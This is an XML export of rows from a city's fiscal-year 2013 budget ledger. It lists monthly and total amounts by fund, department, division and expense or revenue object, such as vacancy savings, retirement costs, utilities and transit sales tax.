<row _id="3099"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-27554.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>460</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-27094.0</total></row>
<row _id="3100"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-133006.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-133006.0</total></row>
<row _id="3101"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-9270.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-9270.0</total></row>
<row _id="3102"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>411.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>43</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>454.0</total></row>
<row _id="3103"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-2311.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2311.0</total></row>
<row _id="3104"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="3105"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511580.0</object><object_description>COLLEGE SUMMER INTERNS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>52000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>520</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>52520.0</total></row>
<row _id="3106"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511771.0</object><object_description>RETIREMENT - POLICE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>112902.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>112902.0</total></row>
<row _id="3107"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>12090.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12090.0</total></row>
<row _id="3108"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-3188.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3188.0</total></row>
<row _id="3109"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5458.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>55</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5513.0</total></row>
<row _id="3110"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>197184.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>197184.0</total></row>
<row _id="3111"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>9375.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-4406</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4969.0</total></row>
<row _id="3112"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6890.0</july><august>0</august><september>0.0</september><october>-319.0</october><november>0</november><december>0</december><january>0.0</january><february>66</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6637.0</total></row>
<row _id="3113"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>87734.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-375</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>87359.0</total></row>
<row _id="3114"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>326875.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-24825</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>302050.0</total></row>
<row _id="3115"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2200.0</total></row>
<row _id="3116"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2595.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2595.0</total></row>
<row _id="3117"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>750.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>750.0</total></row>
<row _id="3118"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>579290.0</object><object_description>UTILITIES BILLING SERVICES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>303998.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>303998.0</total></row>
<row _id="3119"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>26071.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>26071.0</total></row>
<row _id="3120"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4100.0</total></row>
<row _id="3121"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6120.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6120.0</total></row>
<row _id="3122"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>405830.0</object><object_description>MEASURE R - OPERATING</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2013</fiscal_year><july>-7119581.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-7119581.0</total></row>
<row _id="3123"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>406981.0</object><object_description>PYMT-PBAD ASSESSMENTS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3124"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>891.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>9</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>900.0</total></row>
<row _id="3125"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>313.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>313.0</total></row>
<row _id="3126"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4899.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>49</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4948.0</total></row>
<row _id="3127"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>17000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17000.0</total></row>
<row _id="3128"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>901.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>9</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>910.0</total></row>
<row _id="3129"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544200.0</object><object_description>SPORTS SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="3130"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>257.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>3</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>260.0</total></row>
<row _id="3131"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>104.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>104.0</total></row>
<row _id="3132"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-ST MAINTENA</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-150000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-150000.0</total></row>
<row _id="3133"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4300.0</total></row>
<row _id="3134"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>440.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>440.0</total></row>
<row _id="3135"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>2500</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="3136"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>749700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>749700.0</total></row>
<row _id="3137"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3263.0</july><august>-414</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2849.0</total></row>
<row _id="3138"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-3528.0</july><august>864</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2664.0</total></row>
<row _id="3139"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>54328.0</july><august>-10172</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>944</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>45100.0</total></row>
<row _id="3140"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2208.0</july><august>-390</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>19</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1837.0</total></row>
<row _id="3141"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>SAFETY EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>11535.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11535.0</total></row>
<row _id="3142"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555016.0</object><object_description>OUTSIDE REPAIRS-HZRDOUS WASTE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>91500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>91500.0</total></row>
<row _id="3143"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>13200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13200.0</total></row>
<row _id="3144"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1780.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1780.0</total></row>
<row _id="3145"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>822.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>822.0</total></row>
